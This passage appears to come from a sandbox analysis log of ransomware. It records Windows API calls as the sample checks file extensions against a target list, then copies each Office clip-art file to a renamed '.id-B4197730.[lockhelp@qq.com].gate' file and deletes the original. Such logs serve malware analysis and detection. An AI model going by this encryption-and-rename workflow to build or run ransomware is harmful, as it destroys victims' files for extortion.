(lpString=".xls") returned 4 [0291.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.462] lstrlenW (lpString=".xlsx") returned 5 [0291.462] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.462] lstrlenW (lpString=".ppt") returned 4 [0291.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.462] lstrlenW (lpString=".zip") returned 4 [0291.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.462] lstrlenW (lpString=".rar") returned 4 [0291.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString=".bz2") returned 4 [0291.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.463] lstrlenW (lpString=".7z") returned 3 [0291.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.463] lstrlenW (lpString=".dbf") returned 4 [0291.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.463] lstrlenW (lpString=".1cd") returned 4 [0291.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0291.463] lstrlenW (lpString=".jpg") returned 4 [0291.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.463] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.463] lstrlenW (lpString="BS01638_.WMF") returned 12 [0291.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0291.572] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=10538) returned 1 [0291.573] CloseHandle (hObject=0x4b0) returned 1 [0291.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0291.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.697] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.698] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0291.698] GetLastError () returned 0x0 [0291.698] ReadFile (in: hFile=0x4dc, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x292a, lpOverlapped=0x0) returned 1 [0291.767] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2930, lpOverlapped=0x0) returned 1 [0291.767] ReadFile (in: hFile=0x4dc, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.768] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0291.768] SetEndOfFile (hFile=0x4f4) returned 1 [0291.768] CloseHandle (hObject=0x4f4) returned 1 [0291.769] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.769] SetEndOfFile (hFile=0x4dc) returned 1 [0291.771] CloseHandle (hObject=0x4dc) returned 1 [0291.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0291.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.772] lstrlenW (lpString=".doc") returned 4 [0291.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.772] lstrlenW (lpString=".docx") returned 5 [0291.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.773] lstrlenW (lpString=".pdf") returned 4 [0291.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString=".xls") returned 4 [0291.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.773] lstrlenW (lpString=".xlsx") returned 5 [0291.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.773] lstrlenW (lpString=".ppt") returned 4 [0291.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.773] lstrlenW (lpString=".zip") returned 4 [0291.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.773] lstrlenW (lpString=".rar") returned 4 [0291.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString=".bz2") returned 4 [0291.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString=".7z") returned 3 [0291.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.773] lstrlenW (lpString=".dbf") returned 4 [0291.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.773] lstrlenW (lpString=".1cd") returned 4 [0291.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.773] lstrlenW (lpString=".jpg") returned 4 [0291.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.774] lstrlenW (lpString=".doc") returned 4 [0291.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString=".docx") returned 5 [0291.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0291.774] lstrlenW (lpString=".pdf") returned 4 [0291.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString=".xls") returned 4 [0291.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.774] lstrlenW (lpString=".xlsx") returned 5 [0291.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0291.774] lstrlenW (lpString=".ppt") returned 4 [0291.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.774] lstrlenW (lpString=".zip") returned 4 [0291.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.774] lstrlenW (lpString=".rar") returned 4 [0291.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString=".bz2") returned 4 [0291.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString=".7z") returned 3 [0291.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.774] lstrlenW (lpString=".dbf") returned 4 [0291.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.774] lstrlenW (lpString=".1cd") returned 4 [0291.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0291.775] lstrlenW (lpString=".jpg") returned 4 [0291.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.775] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.775] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0291.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0291.778] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2262) returned 1 [0291.778] CloseHandle (hObject=0x4ec) returned 1 [0291.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0291.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec [0291.778] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.779] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.779] GetLastError () returned 0x0 [0291.779] ReadFile (in: hFile=0x4ec, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x8d6, lpOverlapped=0x0) returned 1 [0291.855] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x8e0, lpOverlapped=0x0) returned 1 [0291.855] ReadFile (in: hFile=0x4ec, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.855] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0291.856] SetEndOfFile (hFile=0x4dc) returned 1 [0291.864] CloseHandle (hObject=0x4dc) returned 1 [0291.867] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.868] SetEndOfFile (hFile=0x4ec) returned 1 [0291.880] CloseHandle (hObject=0x4ec) returned 1 [0291.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0291.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.885] lstrlenW (lpString=".doc") returned 4 [0291.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.885] lstrlenW (lpString=".docx") returned 5 [0291.885] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0291.885] lstrlenW (lpString=".pdf") returned 4 [0291.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.885] lstrlenW (lpString=".xls") returned 4 [0291.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.885] lstrlenW (lpString=".xlsx") returned 5 [0291.885] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0291.885] lstrlenW (lpString=".ppt") returned 4 [0291.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.885] lstrlenW (lpString=".zip") returned 4 [0291.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.885] lstrlenW (lpString=".rar") returned 4 [0291.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.885] lstrlenW (lpString=".bz2") returned 4 [0291.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString=".7z") returned 3 [0291.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.886] lstrlenW (lpString=".dbf") returned 4 [0291.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.886] lstrlenW (lpString=".1cd") returned 4 [0291.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.886] lstrlenW (lpString=".jpg") returned 4 [0291.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.886] lstrlenW (lpString=".doc") returned 4 [0291.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString=".docx") returned 5 [0291.886] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0291.886] lstrlenW (lpString=".pdf") returned 4 [0291.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString=".xls") returned 4 [0291.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.886] lstrlenW (lpString=".xlsx") returned 5 [0291.886] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0291.886] lstrlenW (lpString=".ppt") returned 4 [0291.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.886] lstrlenW (lpString=".zip") returned 4 [0291.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.887] lstrlenW (lpString=".rar") returned 4 [0291.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.887] lstrlenW (lpString=".bz2") returned 4 [0291.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.887] lstrlenW (lpString=".7z") returned 3 [0291.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.887] lstrlenW (lpString=".dbf") returned 4 [0291.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.887] lstrlenW (lpString=".1cd") returned 4 [0291.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0291.887] lstrlenW (lpString=".jpg") returned 4 [0291.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.887] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0291.887] lstrlenW (lpString="CRANE.WMF") returned 9 [0291.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.888] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5270) returned 1 [0291.888] CloseHandle (hObject=0x418) returned 1 [0291.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0291.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0291.888] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.889] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0291.889] GetLastError () returned 0x0 [0291.889] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1496, lpOverlapped=0x0) returned 1 [0291.901] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x14a0, lpOverlapped=0x0) returned 1 [0291.902] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.902] WriteFile (in: hFile=0x4dc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0291.902] SetEndOfFile (hFile=0x4dc) returned 1 [0291.902] CloseHandle (hObject=0x4dc) returned 1 [0291.904] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.904] SetEndOfFile (hFile=0x418) returned 1 [0291.907] CloseHandle (hObject=0x418) returned 1 [0291.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0291.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0291.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.908] lstrlenW (lpString=".doc") returned 4 [0291.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.908] lstrlenW (lpString=".docx") returned 5 [0291.908] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0291.908] lstrlenW (lpString=".pdf") returned 4 [0291.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.908] lstrlenW (lpString=".xls") returned 4 [0291.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.908] lstrlenW (lpString=".xlsx") returned 5 [0291.908] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0291.908] lstrlenW (lpString=".ppt") returned 4 [0291.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.909] lstrlenW (lpString=".zip") returned 4 [0291.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.909] lstrlenW (lpString=".rar") returned 4 [0291.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.909] lstrlenW (lpString=".bz2") returned 4 [0291.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.909] lstrlenW (lpString=".7z") returned 3 [0291.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.909] lstrlenW (lpString=".dbf") returned 4 [0291.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.909] lstrlenW (lpString=".1cd") returned 4 [0291.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.909] lstrlenW (lpString=".jpg") returned 4 [0291.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0291.910] lstrlenW (lpString=".doc") returned 4 [0291.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString=".docx") returned 5 [0291.910] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0291.910] lstrlenW (lpString=".pdf") returned 4 [0291.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString=".xls") returned 4 [0291.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.910] lstrlenW (lpString=".xlsx") returned 5 [0291.910] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0291.910] lstrlenW (lpString=".ppt") returned 4 [0291.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.910] lstrlenW (lpString="C:\\Program Files\\Microsoft 